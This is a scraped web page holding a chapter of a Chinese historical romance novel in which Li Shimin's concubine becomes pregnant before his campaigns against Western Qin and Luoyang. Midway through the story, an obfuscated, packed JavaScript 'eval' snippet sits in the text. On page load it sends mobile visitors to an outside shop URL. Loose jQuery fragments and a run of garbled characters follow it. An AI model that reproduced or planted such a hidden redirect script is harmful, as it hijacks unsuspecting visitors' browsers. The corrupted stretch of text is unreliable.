文趣网 > 其他小说 > 文德皇后 > 31. 第二节 喜脉
    内室灯火莹莹,在这初冬的寒冷节气里,竟觉得燥热无比。

    她无时不期盼着这一刻,等到时机终于来了却又不知如何以对。唯有螓首低垂。李世民引臂抬起她的脸,清秀的面容,符合他的审美。确认无碍后他闲适收臂以目光示意她解衣。

    她肌肤在他冰冷指尖下紧张,心在他目光之下颤动!已经忘记了少女的羞涩,只知道机械式的服从命令,木讷而颤抖的双手轻解罗衣。

    等到她衣履尽退只剩一抹亵衣,她在想着还要不要继续解衣,左右为难,几乎以哀求的目光望向李世民。他却还在等待,没有拯救她此刻羞怯尴尬的意思。

    艰难中,除去最后一缕束缚,她婉妙的身形便在他眼前一览无虞。

    她瑟瑟发抖。

    李世民一直冷静看她,如欣赏字画古玩一般,精细而又认真,细白的肌肤,修长的颈项,华泽的白肩膀和丰美的胸房——一切都没有令他失望。良久,唇畔勾出一抹淡淡的笑意,随即伸手揽住她的纤腰轻轻一旋,将她置在枕席之上。

    他以手轻抚她的肌肤,凡是他手所触及之处,皆潮起艳丽的粉色。

    方才凌空的晕眩感还未消失,却是又一阵晕眩袭来。这一切发生的是那样快,她来不及反应,也不知该如何应对,只是被动的被他带入那更深的漩涡。他宽厚的肩膀挡住了帐外红融的暖光,使她如遮天蔽日一般陷入黑暗。晕眩之中她张臂拥住了他的颈项——唯一能够抓住的就是他这一个人,这一片天。两滴清泪自她目中滑落——他是她的天呀……

    终于静止下来,一切又重归平静,在规律而悠长的鼻息中他沉沉睡去。她知道不能陪伴他过夜,等他睡去之后,她轻轻的起身,整理好衣装,准备离开。离别之前她跪于榻前,注视着他俊朗的脸,再次留恋的看他,他合起的双眸,熟睡给了她一份私密的空间,使她有勇气细细的观看。这是他们两个人的世界,亦是完全属于她的世界,她愿意无限期的这样相守下去,愿意他永远不要醒来,就在她的目光里沉睡。

    一步出寝室,守在外间的宫人们就悄悄的向她道贺。她不觉莲脸绯红,心中却是无限激颤。

    以后的日子依旧如故,他间或要她侍寝,间或命其他宫人。她并没有看出来他对她有别于众人的特殊感情。不过就算如此,她已经颇感幸运,因为她也没看出其他人有这份殊荣——他是太忙了,军国大事样样需要他伤神,没有时间顾及男女之情。她自己这样解释。

    之后不过多久,就传出朝廷下令他领兵去迎击西秦了的消息。原来当初想岔了,出征是出征却不是随同父兄,而是他自己统帅领军。

    十二月,陇西薛举以长子为前锋领兵寇扶风,李唐新入关中,形势不稳,岌岌可危。李渊与大臣百僚商议之后,决议派李世民领军迎击。

    如此年青,便当此重任,而这个人,不是别人,正是她生命中最为重要的人,他的夫君。仅仅一个月,他就全胜回朝了。其实她不知道迎敌和进攻有什么区别,不过她不由得为自己他感到骄傲。

    自他出征后不久,她心疑自己怀孕了,可是又不敢十分肯定而伸张,只怕自己太期盼而出错,惹人讥笑。直到一个月后他回来,当他再度命她侍寝,她便不敢十分承迎,枕席之间他不由得皱眉恼怒:“你怎么回事?”

    未曾想会引起他恼怒,她急忙怯怯回答:“婢妾这些时日以来,身体不适,……或许……可能是有孕了……”她断断续续终于将此喜讯告知,心自腾腾直跳,同时亦轻松而甜蜜——她要给他生子了,他的第一个孩子!想到这里,内心激动,神态娇羞而幸福洋溢。

    她以为告诉他,他第一个孩子已经孕育,他会十分开心。然而却久久没有听到她期盼的狂笑之声,或是任何一项能够抒发内心欣喜之声被她倾听的双耳所捕获。良久羞涩垂首之后,她带着疑惑与一丝不安抬目看他,才注意到他得知消息后的表情。

    李世民脸上并没有她所预料的狂喜之态。

    他坐起,蹙眉,十分努力思索。一会儿向她的小腹看看,一会儿又收回目光垂头自思,呈现出因为将为人父的经验的空白,不知道是喜是悲的复杂表情。

    “当真?”良久蹙眉之后他问,脸色冷然。

    “婢妾……婢妾还不能十分确认……”她更加胆怯的回答。

    他又陷入沉默,失去了一切的兴致,神色冷酷:“明天我命人来给你诊脉,你下去吧。”眉锁的更深,明显的不快。

    她的心里彻底的冰冷,不能解释为何得到这个消息会让他如此不悦,匆匆穿衣起身。余光里,他还是那样坐着,温暖的灯火之光照耀下,勾勒出他脸上冷峻的线条。她努力屏住即将泉涌而出的泪水,步出室外。合上房内的那一刻,她见他恼怒的将床榻四角压席用的鎏金狮子镇重重掷向地面。随着金属重物高空落于木质地板上的一声沉闷响动,她泪水再也抑制不住。

    翌日,御医诊过之后确认她已身怀两个多月的身孕了。在众女之前先有身孕。消息一传出整个宫闱为之沸腾。

    李世民今年年方二十一,实岁十九,之前还没有过子嗣,而建成所有留在河东的男孩子都已经被阴世师随同五弟智云一起处斩。也就是说李家只有两代而没有第三代。她腹中之子不仅是李世民的第一个孩子,更是李家起事之后第一个出生的孩子。如果能够一举得男,将是李家的长孙,开启李家下一代子希望。

    因此一经得知她身怀有孕身为唐王的李渊就亲自过问,派人嘱咐她安心养胎,亦对她格外重视。特意将承乾殿正殿之西的耳房拨给她居住,日常用度都与众女不同。平日里也要侍妾万氏,尹氏等格外关照多来走动。许多宫里品级高贵的妃嫔的也都遣侍婢过来问候,并送了许多的礼物。

    李世民脸上也渐渐有了喜乐的神情。

    这一份突入其来的殊荣使她受宠若惊。她身处于甜蜜的幸福之下,并且在甜蜜的滋养下容颜更加娇美。然而仅仅才过了数日,正月里,他又再度出征了。

    这一次是洛阳,更远的地方——</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880484|212440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    唐军虽入主关中,可是关中地区尚未稳定,虽然薛举被李世民击败,引兵退却,可元气并未大伤,且,蜀中有西凉李轨,北面又有梁师都,太原马邑有刘武周都与突厥相勾结,可谓是李唐的心腹大患。

    自起兵以来,唐军一路攻无不克,李渊不免起骄矜急进之心。见薛举战败扶风,西面的威胁暂时消除。洛阳李密同王世充交战日久,两师皆以疲乏。便向乘此之际,东图洛阳。

    宁二年正月,李渊不顾司农卿韦云的谏言,遣长子建成为左元帅,次子世民为右元帅,刘文静为左元帅府长史,殷开山为右元帅府长史,兼萧瑀,窦???煌ǖ龋?笥叶??罹??嗤蛑冢??髀逖簟�

    自他出征之后,镇日长闲,便倚在自己居住的寝殿窗下,遥望东边远处的天际,从日出到日落。

    她早就听说过东都洛阳,洛阳宫依大兴宫建立,洛阳城外还有西苑,是皇家的狩猎场所,其中宫室楼台曲折回环,方圆200里。皇帝常年不在长安,而留恋东都,必定是东都有着比长安更华丽吸引人之处。与她而言,大兴宫的广大与富丽已经是极点了,若是洛阳比长安城还要繁华,那是一座怎样的城池。在200里的西苑之内纵情围猎又是一种怎样的感受。只可惜的是自己还不会骑马,不能领略在马上驰骋的感受。她恣意神游,想象如同自己随同他一起出征一般。若是能幻化为他肩头上的一只鹞鹰那该多好。即便不能纵马驰骋亦能展翅翱翔。若是如此,则能尽观他战场上的雄姿。他的离开,亦带走了她所有的神思。每日百无聊赖的打发漫漫长日,幸而腹部一日一日胀大,让她有了另一番寄托和满足。

    她本以为他很快就会归来,可是一直等到她能够感觉到孩子顽皮的小手捶打在自己腹部的奇妙感触之时,他还是没有回来。等来的却是太原女眷即将回京的消息。这其中就有李世民的正妻,她未来的主母——秦国公夫人长孙氏。

    三月“太上皇”杨广被宇文化及缢杀于江都,为李氏称帝扫除最后一丝障碍。消息传入长安之后,李渊加紧称帝步伐,遂派人到太原去接李氏家眷。

    这才意识到这样的闲散日子不能一直持续下去——是啊,他是有妻室的人。不是这一个,也会另有其人。她虽然能够给他生第一个孩子,却无力改变这样的状况。她,只是一个妾,而不是妻,仅此而已。明白这点,心中莫名的寥落,连对他的归来之期都不再那么期盼。

    不日之后她们的主母就会到来。她不得不好奇什么样的女子才可堪为他的嫡妻。从此她关注与她有关的任何消息。亦如当初关注他的消息一样。于是常常同众女在一处听她们的谈论。

    知道她是长孙晟之女,母亲位北齐宗室高士廉之妹。父亲死后被异母兄长赶出家门,寄居在舅氏家中,已经失去了父族依靠的,而更为不幸的是高士廉被贬谪岭南归家无期。知道她如今年纪尚不过十七,种种种种,凡是与她有关的任何消息,都成了承乾殿乃至大兴宫内宫人们乐此不疲反复议论之事……